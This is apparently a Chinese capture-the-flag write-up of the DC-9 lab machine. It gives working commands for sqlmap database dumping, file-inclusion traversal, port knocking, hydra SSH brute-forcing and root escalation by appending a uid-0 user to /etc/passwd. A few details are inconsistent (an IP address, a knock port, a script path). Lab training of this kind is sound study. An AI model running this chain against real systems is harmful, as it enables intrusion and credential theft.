一、实验环境
虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DC-9(网卡初始为仅主机模式,要有安全意识)
二、开始渗透
1. 搜集信息
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
。
输入arp-scan -l
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.116
,。
输入nmap -sV -p- 192.168.56.116
扫描靶机所有端口开放情况。
可以看到端口80
是开放的,22
是filtered状态,这是一个关键点,以为这靶机上做了端口敲门(knockd)配置。
浏览器输入192.168.56.116:80。
命令行输入whatweb 192.168.56.116
查询网站指纹信息。
可以看到没什么关键信息。
输入dirsearch -u http://192.168.56.116:80 -i 200
,扫描网站目录,只显示状态码为200的结果。
可以看到没什么结果,我们重新查看网页,看看有什么可以提交参数的地方,分析一下是不是存在注入点。
2. sql注入
经浏览,search板块可以提交参数。
burp抓包看看。
可以看到,提交参数使用的是post方法,将这段内容写入一个文件neosdata.txt,配合sqlmap使用。
我们命令行输入sqlmap -r neosdata.txt --dbs --batch
,进行sql注入。
成功爆破出来了数据库Staff、users。
我们挨个爆破,先爆破Staff数据库的内容,输入sqlmap -r neosdata.txt -D “Staff” --tables --batch
。
看到爆破出来了两个表,StaffDetails和Users。
先爆破StaffDetails的属性名(列名),输入sqlmap -r neosdata.txt -D “Staff” -T "StaffDetails" --columns --batch
。
看这些列名,应该是之前网页上在DisplayAllRecords板块查找到一堆用户的信息了,我们输入sqlmap -r neosdata.txt -D “Staff” -T "StaffDetails" -C "id,firstname,lastname,postion" --dump --batch
看到了表的关键内容,其中CEO是个很关键的职位,我们留个心眼。
开始爆破Users表,输入sqlmap -r neosdata.txt -D “Staff” -T "Users" --columns --batch
。
看呆了编号(UserID)、用户名(Username)、密码(Password),我们输入
sqlmap -r neosdata.txt -D “Staff” -T "Users" -C "UserID,Username,Password" --dump --batch
,爆破内容。
成功爆破出来了admin账户的密码,是一长串加密字符串,我们把这一串进行md5解密,得到明文。
得到明文为transorbital1,好了,别忘了我们还有另外一个数据库呢,我们继续爆破另外一个数据库users。输入sqlmap -r neosdata.txt -D “users” --tables --batch
,
可以看到只爆破出来了一个表UserDetails,我们继续,输入sqlmap -r neosdata.txt -D “users” -T "UserDetails" --columns --batch
。
可以看到,跟之前的那个UserDetails表不一样,我们输入sqlmap -r neosdata.txt -D “users” -T "UserDetails" --dump-all --batch
爆破所有内容。
将其中password列的内容和username列的内容分别写入一个文件pswd.txt和usr.txt,用于爆破。
这里用一下小技巧,我们先把这张表的内容储存在一个txt文件中。
然后用魔法,输入awk -F "|" '{print $6}' tables.txt > usr.txt
就可以将username的列输入到usr.txt文件里了。
输入awk -F "|" '{print $4}' tables.txt > pswd.txt
就可以将password的列输入到pswd.txt文件里了。
发现每一行第一个位置是空格,故再次使用魔法,在vim中修改,命令模式输入%s/ //g
即可。
同样的操作另一个文件即可。
3. 文件包含漏洞
先使用之前的admin密码登陆网站。
我们看到左下角显示文件不存在,这里照常应该显示用户名或者年份信息,故判断有可能有文件包含漏洞。
经过枚举,发现在http://192.168.2.103/welcome.php?file=…/…/…/…/etc/passwd出看到passwd文件的内容。
故而我们可以查看端口敲门配置文件/etc/knockd.conf。
可以看到,敲三次门(7469,8476,9842)即可,命令行依次输入nc -nv 192.168.56.116 7469
、nc -nv 192.168.56.116 8475
、nc -nv 192.168.56.116 9842
。
此时再次nmap扫描靶机,发现ssh端口开放了,意味着我们可以登录ssh了。
4. 提权
利用上面得到的usr.txt和pswd.txt爆破登陆ssh,输入hydra -L usr.txt -P pswd.txt ssh://192.168.56.116
。
成功爆破出来了对应的用户名密码,我们挨个输入查看,发现在janitor用户中有个特别的文件。
查看其内容后,发现是个存放密码的文件。
将这几个密码写入我们之前的pswd.txt文件中,重新进行ssh爆破。
发现新爆破出来了一个用户fredf,用这个用户登陆ssh。
执行sudo -l
,发现有个test文件可以以root权限免密执行。
直接cat查看发现是一堆乱码,经查看目录,在/etc/devstuff中看到一个test.py文件,其内容为,
大概意思是将第一个文件的内容附加到第二个文件中,故我们可以在本地建一个拥有root权限的账户,再把这个用户的信息通过这个脚本写到靶机的/etc/passwd文件中储存,这样就得到了一个拥有root权限的账户。
命令行输入openssl passwd -1 -salt hacNeos 111111
。
然后靶机依次输入echo 'hacNeos:$1$hacNeos$y5AKKjevJO2qvc/H3HpAp/:0:0:root:/root:/bin/bash' >>/tmp/neosHac
、sudo /opt/devstuff/dist/test/test /tmp/neosHac /etc/passwd
、su hacNeos
,提权成功。
在**/root**目录中发现最终flag。
至此,渗透结束。
三、总结
本次渗透测试总体来讲感觉挺难的,有几个从来没见过的东西,幸好通过查阅资料解决了,这正式进步的的过程,我们已经渐入佳境,慢慢的将一些操作变为本能,到哪一步干什么事,都变得愈发熟练起来,这正是我们逐渐变强的标志。